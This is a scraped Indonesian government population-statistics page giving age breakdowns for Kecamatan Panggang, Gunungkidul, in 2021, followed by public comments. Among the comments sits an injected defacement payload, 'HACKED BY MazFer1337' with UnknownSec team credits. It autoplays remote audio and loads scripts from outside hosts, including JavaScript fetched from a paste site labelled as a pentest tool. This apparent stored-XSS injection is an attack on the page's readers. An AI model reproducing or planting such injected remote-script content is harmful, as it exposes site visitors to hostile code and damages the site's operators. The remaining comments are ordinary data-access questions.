Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN PANGGANG, KABUPATEN GUNUNGKIDUL, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaGIRIKARTOGIRISEKARGIRIMULYOGIRIWUNGUGIRIHARJOGIRISUKOTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun4232 746885 1535256 1082727 543945 844841 89276 286 562
2 tahun2723 504959 1083626 621312 252419 433533 68184 172 356
3 tahun3222 544246 883422 561711 282824 522727 54180 152 332
4 tahun1922 414257 993634 701615 312019 393941 80172 188 360
5 tahun2022 423738 752836 641113 242718 453322 55156 149 305
6 tahun2120 415644 1003534 69913 223215 472334 57176 160 336
7 tahun3224 564768 1153933 721315 282126 473432 66186 198 384
8 tahun2726 536147 1084241 832112 332518 434536 81221 180 401
9 tahun2227 494942 913425 592624 502724 512526 51183 168 351
10 tahun3419 536230 923733 701111 223228 603626 62212 147 359
11 tahun3628 645158 1095937 962318 413227 592844 72229 212 441
12 tahun2933 626049 1094432 76821 291930 493125 56191 190 381
13 tahun1826 445546 1014238 801718 353623 595032 82218 183 401
14 tahun1929 485360 1134335 781418 323028 583242 74191 212 403
15 tahun2627 536549 1144639 851016 262125 463528 63203 184 387
16 tahun2329 526345 1084744 911615 312821 494326 69220 180 400
17 tahun2033 535748 1053839 77816 242127 483637 73180 200 380
18 tahun2231 535457 1114839 871611 272535 604141 82206 214 420
19 tahun1827 455540 954138 792614 403031 613833 71208 183 391
20 tahun3026 564859 1074933 82159 242929 584039 79211 195 406
21 tahun2229 516761 1283836 741017 273138 695637 93224 218 442
22 tahun2123 446557 1223335 681811 292932 613836 74204 194 398
23 tahun1320 335262 1143934 731818 362927 564542 87196 203 399
24 tahun3027 575560 1153739 761215 273032 625030 80214 203 417
25 tahun2934 635243 954040 802012 322426 503438 72199 193 392
26 tahun3418 525559 1143748 852023 432625 513941 80211 214 425
27 tahun3231 635450 1044037 771419 332425 495135 86215 197 412
28 tahun2431 556449 1134739 861221 333726 634634 80230 200 430
29 tahun2232 545751 1083239 711116 273228 604135 76195 201 396
30 tahun2329 525147 984229 712216 382129 503728 65196 178 374
31 tahun2418 426850 1183641 771219 312427 514135 76205 190 395
32 tahun2429 534255 972949 781917 362429 532719 46165 198 363
33 tahun2927 563944 833738 751914 332321 443125 56178 169 347
34 tahun3023 535135 865235 872128 492625 513219 51212 165 377
35 tahun2728 553854 923550 851620 362925 542529 54170 206 376
36 tahun3030 606559 1244436 802813 412331 543435 69224 204 428
37 tahun3831 695954 1134235 77146 202726 532332 55203 184 387
38 tahun3124 555358 1113938 772118 393523 583532 67214 193 407
39 tahun4030 706160 1214055 951716 333826 643435 69230 222 452
40 tahun1627 435145 964745 922122 432730 572732 59189 201 390
41 tahun4133 745065 1154642 881415 292619 453440 74211 214 425
42 tahun2523 485344 974224 661211 233033 633437 71196 172 368
43 tahun2417 414647 933227 592219 413925 644238 80205 173 378
44 tahun2521 465046 963331 64139 223018 483330 63184 155 339
45 tahun2819 475340 934537 821312 252136 573534 69195 178 373
46 tahun2223 455236 883532 672519 443025 553726 63201 161 362
47 tahun2112 335540 953734 711321 342326 492147 68170 180 350
48 tahun1834 523947 864032 721418 323031 614740 87188 202 390
49 tahun1830 484769 1163028 581321 341729 462742 69152 219 371
50 tahun1425 393842 803232 641211 233422 563127 58161 159 320
51 tahun2722 494655 1013537 721518 333931 704758 105209 221 430
52 tahun2221 436747 1144044 842319 423533 685753 110244 217 461
53 tahun2330 533749 864432 761717 341535 503647 83172 210 382
54 tahun2724 514151 923538 731620 363134 653829 67188 196 384
55 tahun2042 623947 862338 61814 222432 562830 58142 203 345
56 tahun2631 574953 1022861 891924 432635 613948 87187 252 439
57 tahun1323 364355 983455 891220 322226 482740 67151 219 370
58 tahun3841 793444 783442 761823 412524 493736 73186 210 396
59 tahun2025 454038 784240 821314 272323 463541 76173 181 354
60 tahun2830 585249 1013445 792310 331925 442725 52183 184 367
61 tahun3937 765172 1235237 892221 432722 494843 91239 232 471
62 tahun3231 634141 825454 1081715 322229 513441 75200 211 411
63 tahun2951 805165 1163749 861419 332335 583740 77191 259 450
64 tahun3635 713137 684249 911518 332123 442843 71173 205 378
65 tahun2630 565045 954761 1081618 341820 382940 69186 214 400
66 tahun3131 624763 1103640 761314 272226 483134 65180 208 388
67 tahun2524 494046 863539 741421 351716 334125 66172 171 343
68 tahun2926 554149 902924 53617 232122 432027 47146 165 311
69 tahun1515 303438 721929 48914 231819 372626 52121 141 262
70 tahun198 275038 882731 581616 322316 392231 53157 140 297
71 tahun2828 563740 773227 591117 282120 412745 72156 177 333
72 tahun1210 221427 411823 411417 311319 322231 5393 127 220
73 tahun1821 393247 791629 45310 13920 292345 68101 172 273
74 tahun814 221022 321422 3687 151014 241423 3764 102 166
75 tahun49 131617 331515 30811 191112 231723 4071 87 158
76 tahun149 232829 572027 47119 201716 332129 50111 119 230
77 tahun69 151510 251114 2544 845 9823 3148 65 113
78 tahun1913 321737 541512 2757 1297 161530 4580 106 186
79 tahun720 271818 36816 24612 18106 162022 4269 94 163
80 ke atas4085 125104163 26762120 1822968 974274 11659138 197336 648 984
Jumlah1.9732.0994.0723.8313.9487.7792.9262.9815.9071.2181.3202.5382.0022.0464.0482.7192.8415.560 14.669 15.235 29.904
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih